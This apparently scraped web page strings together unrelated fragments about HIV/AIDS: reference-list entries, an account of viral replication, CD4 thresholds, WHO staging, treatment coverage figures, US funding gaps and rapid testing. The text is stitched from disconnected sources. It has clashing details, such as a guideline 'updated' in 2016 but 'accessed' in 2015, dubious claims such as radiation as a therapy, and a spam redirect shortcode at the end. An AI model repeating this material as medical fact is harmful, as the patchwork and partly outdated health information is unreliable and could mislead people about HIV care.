Jump up ^ Attia, Suzanna; Egger, Matthias; Müller, Monika; Zwahlen, Marcel; Low, Nicola (2009). “Sexual transmission of HIV according to viral load and antiretroviral therapy: Systematic review and meta-analysis”. AIDS. 23 (11): 1397–404. doi:10.1097/QAD.0b013e32832b7dca. PMID 19381076.
HIV infects T cells via high-affinity interaction between the virion envelope glycoprotein (gp120) and the CD4 molecule. The infection of T cells is assisted by the T-cell co-receptor called CXCR4 while HIV infects monocytes by interacting with CCR5 co-receptor (Figure 1). As illustrated in Figure 2, after gp120 binds to CD4 on the T cell (1). Nucleocapsids containing viral genome and enzymes enters the target cell (2). Following the release of viral genome and enzymes from the core protein, viral reverse transcriptase catalyses reverse transcription of ssRNA to form RNA-DNA hybrids (3). To yield HIV dsDNA the viral RNA template is partially degraded by ribonuclease H and the second DNA strand is synthesized (4). The viral dsDNA is translocated into the nucleus and integrated into the host genome by the viral integrase enzyme (5). Transcription factors transcribe the proviral DNA into genomic ssRNA (6), which is exported to cytoplasm (7). In the cytoplasm, host-cell ribosomes catalyse synthesis of viral precursor proteins (8). The viral precursor proteins are cleaved into viral proteins by viral proteases (9). HIV ssRNA and proteins assemble beneath the host-cell plasma membrane (10) forming virion buds from it (11). Maturation occurs either in the forming buds or after budding from the host cell (12). During maturation, HIV proteases cleave the poly-proteins into individual functional HIV proteins. The mature virions are able to infect another host cell.
Sterne JA, May M, Costagliola D, et al. Timing of initiation of antiretroviral therapy in AIDS-free HIV-1-infected patients: a collaborative analysis of 18 HIV cohort studies. Lancet. 2009 Apr 18. 373(9672):1352-63. [Medline]. [Full Text].
Jump up ^ Woods, S.; Moore, D.; Weber, E.; Grant, I. (2009). “Cognitive neuropsychology of HIV-associated neurocognitive disorders”. Neuropsychology review. 19 (2): 152–168. doi:10.1007/s11065-009-9102-5. PMC 2690857 . PMID 19462243.
Department of Health and Human Services. Panel on Antiretroviral Guidelines for Adults and Adolescents. Guidelines for the use of antiretroviral agents in HIV-1-infected adults and adolescents. Updated August 22, 2016. aidsinfo.nih.gov/guidelines. Accessed May 7, 2015.
There are difficulties in developing an effective VACCINE against HIV, because the virus is so adept at avoiding the host immune defence system. Research is in progress, using both conventional and very unconventional approaches, to develop such a vaccine. Various chemotherapeutic agents are being tested. AZT (azidothymidine), which inhibits virus replication, has been used, but it has side effects and only helps certain patients. Radiation has also been employed but again there are side effects. So far around 22 million people have died of AIDS and a further 40 million are living infected by HIV.
HIV Encephalopathy is a severe condition usually seen in end-stage disease. Milder cognitive impairments may exist with less advanced disease. For example, one study found significant deficits in cognition, planning, coordination and reaction times in HIV-infected compared to uninfected children, effects that were more pronounced in those with higher viral loads. 
Throughout the disease, viral load steadily increases and immunodeficiency progressively worsens (due to the decreasing CD4 count), thereby causing HIV/AIDS to manifest in stages. The World Health Organization (WHO) has categorized HIV disease into 4 stages:
The O (“Outlier”) group is usually seen outside of West-central Africa. It is reportedly most common in Cameroon, where a 1997 survey found that about 2% of HIV-positive samples were from Group O. The group caused some concern because it could not be detected by early versions of the HIV-1 test kits. More advanced HIV tests have now been developed to detect both Group O and Group N.
An immune deficiency disease occurs when the immune system is not working properly. If you are born with a deficiency or if there is a genetic cause, it is called primary immunodeficiency disease. There are more than 100 primary immunodeficiency disorders.
But good intentions have not translated into enough funding and resources — from either the government or philanthropic organizations. Good intentions also have not counteracted the crippled medical infrastructure in states like Mississippi, which the Commonwealth Fund, an independent health-policy research foundation, ranks dead last in more than 40 measures of health-system performance. A 2014 study conducted by Dr. David Holtgrave of the Johns Hopkins Bloomberg School of Public Health found that to make any real progress in the H.I.V./AIDS crisis among black gay and bisexual men in the United States, the government would need to invest an additional $2.5 billion to address unmet testing, care, treatment and prevention needs. Despite the higher H.I.V. diagnosis and death rates in the Deep South, the region received $100 less in federal funding per person living with H.I.V. than the United States over all in 2015.
In 2008, 2,120,000 people were receiving treatment – 30% of the total number needing it. In 2012, this figure had risen to 7.6 million. Because the WHO expanded its criteria for people who would benefit from antiretroviral therapy, this still only equates to 25% of the population who needs it.
In individuals not infected with HIV, the CD4 count in the blood is normally above 400 cells per mm3 of blood. People generally do not become at risk for HIV-specific complications until their CD4 cells are fewer than 200 cells per mm3. At this level of CD4 cells, the immune system does not function adequately and is considered severely suppressed. A declining number of CD4 cells means that HIV disease is advancing. Thus, a low CD4 cell count signals that the person is at risk for one of the many opportunistic infections that occur in individuals who are immunosuppressed. In addition, the actual CD4 cell count indicates which specific therapies should be initiated to prevent those infections.
Cahn P, Pozniak AL, Mingrone H, Shuldyakov A, Brites C, Andrade-Villanueva JF, et al. Dolutegravir versus raltegravir in antiretroviral-experienced, integrase-inhibitor-naive adults with HIV: week 48 results from the randomised, double-blind, non-inferiority SAILING study. Lancet. 2013 Jul 2. [Medline].
Jump up ^ Nachega, JB; Marconi, VC; van Zyl, GU; Gardner, EM; Preiser, W; Hong, SY; Mills, EJ; Gross, R (April 2011). “HIV treatment adherence, drug resistance, virologic failure: evolving concepts”. Infectious disorders drug targets. 11 (2): 167–74. doi:10.2174/187152611795589663. PMID 21406048.
Technologies have recently become available that allow for testing with rapid results (eg, turnaround less than 1 hour). The advantage of these tools is that patients can be informed of their results at the same visit at which the testing occurs. In that manner, it is possible to lower the rate of loss to follow-up associated with the traditional two-stage testing and notification approach. Nothing about rapid testing precludes the need for a patient to opt-in or to be offered the opportunity to opt-out of testing (depending on which strategy is adopted). Rapid testing should not be implemented either as mandatory testing or testing performed without informing the patient that she will be tested. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]